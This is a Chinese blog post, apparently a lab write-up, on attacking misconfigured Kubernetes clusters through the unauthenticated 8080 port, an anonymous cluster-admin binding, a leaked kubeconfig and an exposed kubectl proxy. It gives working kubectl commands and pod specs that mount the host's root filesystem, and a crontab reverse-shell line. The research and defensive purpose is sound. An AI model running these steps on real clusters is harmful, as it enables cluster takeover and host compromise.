文章总结： 文章复盘K8s典型高危配置：旧版8080未授权、6443匿名绑定cluster-admin、config文件泄露与proxy暴露四场景，演示利用YAML挂载宿主机根目录实现容器逃逸，给出kubectl命令与截图，建议关闭非安全端口、严控匿名权限与凭证存放。 综合评分： 78 文章分类： 云安全,容器安全,漏洞分析,内网渗透,红队

---

k8s安全

原创

网安热爱者week 网安热爱者week

week的杂货铺

2026年1月24日 18:57 江苏

1. 认识k8s:

用来docker批量管理

自带负载均衡效果

master 管理者

node 节点（被管理的主机）

pod 节点内的容器

这里是网上搜到的两个图：

本地的k8s配置：

2. 旧版本8080未授权访问：

旧版本k8sAPI server会默认开启两个端口 8080和6443

6443是安全端口，安全端口使用TLS加密；

但是8080端口无需认证，仅用于测试。

6443端口需要认证，且有TLS保护。

k8s<1.16.0 时默认开启8080

新版本k8s默认已经不开启8080。需要更改相应的配置.

更改配置：

下面这种就是安全配置：（也是比较新的版本的默认配置）

这种就是不安全的配置：

访问8080会出现：

api泄露：

直接利用泄露的api获取nodes:

kubectl.exe -s 192.168.87.128:8080 get nodes

本地写一个k8s的yaml配置文件：

apiVersion: v1kind: Podmetadata:  name: test01spec:  containers:    - image: nginx      name: test-container      volumeMounts:        - mountPath: /mnt          name: test-volume  volumes:    - name: test-volume      hostPath:        path: /

这个就是节点的/mnt目录挂载了主机的根目录

利用api新建节点：

kubectl.exe -s 192.168.87.128:8080 create -f ./test_poc.yaml

发现成功创建：

kubectl.exe -s 192.168.87.128:8080 get pods

进入这个刚刚搭建完成的pod:

kubectl -s 192.168.87.128:8080 --namespace=default exec -it test01 bash

因为这里是自己创建了相应的危险挂载容器

所以剩下的就是正常的容器逃逸了。

上线命令：

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.87.136/4444 0>&1\n" >>/mnt/etc/crontab

nc -lvvp 监听就好

这里只展示成功逃逸：

容器内执行：

node1的主机就可以看到逃逸成功了

3. 鉴权逃逸：

api server未授权访问 如果访问443端口出现拒绝匿名访问就无法使用这个漏洞 一些集群由于鉴权配置不当，将”system:anonymous”用户绑定到”cluster-admin”用户组，

从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

假如管理员使用了：

kubectl create clusterrolebinding system:anonymous    --clusterrole=cluster-admin --user=system:anonymous

就会出现直接访问返回api的情况：

这种基本就是安全的：

3.1. 利用：

访问路由： /api/v1/namespaces/default/pods

post json数据：

{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

使用bp抓包 改成json格式：

就可以创建一个把主机的根目录挂载到/host的docker了

查看是否创建成功：（这里用户名密码随便输入）

kubectl --insecure-skip-tls-verify -s https://192.168.87.128:6443/ get pods

连接指定docker：

kubectl --insecure-skip-tls-verify -s https://192.168.87.128:6443/ --namespace=default exec -it test02 bash

剩下的就和容器逃逸一样了：

touch /host/root/123.txt

4. 配置文件泄露：

configfile鉴权文件泄漏 攻击者通过webshell,github开源仓库等拿到了k8s配置的config文件，

从而操作集群，从而接管所有容器。

k8s configfile作为k8s集群的管理凭证，其中包含有关k8s集群的详细信息（apiserver,登录凭证）

如果攻击者能够访问到此文件（如办公网员工机器入侵，泄露到github的代码等）,就可以直接通过apiserver接管k8s集群，带来风险隐患

用户凭证保存在kubeconfig文件中，k8s通过以下顺序来我到kubeconfig文件： 如果提供了–kubeconfig参数，就使用提供的kubeconfig文件 如果没有提供–kubeconfig参数，但设置了环境变量$KUBECONFIG,则使用该环境变 量提供的kubeconfig文件 如果以上两种情况都没有，kubectl就使用默认的kubeconfig文件~/.kube/config

master里面有配置文件：

这里就只是下载到kubectl的路径下

kubectl -s https://192.168.87.128:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes

搞一个yaml文件 让它生成一个docker使得/mnt挂载宿主机根目录

kubectl -s https://192.168.87.128:6443/ --kubeconfig=config --insecure-skip-tls-verify=true apply -f test_poc.yaml -n default

kubectl -s https://192.168.87.128:6443/ --kubeconfig=config --insecure-skip-tls-verify=true exec -it test01 bash

剩下的就逃逸，懂得都懂了~~

5. 临时不安全proxy:

当运维人员需要某个环境暴露端口或者ip时，会用到kubectlproxy

kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009

复现利用： 类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。 *找到暴露入口点，根据类型选择合适方案

kubectl -s http://192.168.87.128:8009 get pods -n kube-system

创建pod是可以的：

但是不能exec进入pod：

有点鸡肋。。。

---

好了，今天就到这里，辛苦大佬观看。

麻烦各位大佬指点，week给大佬趴下了。

---

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：week的杂货铺 网安热爱者week 网安热爱者week《k8s安全》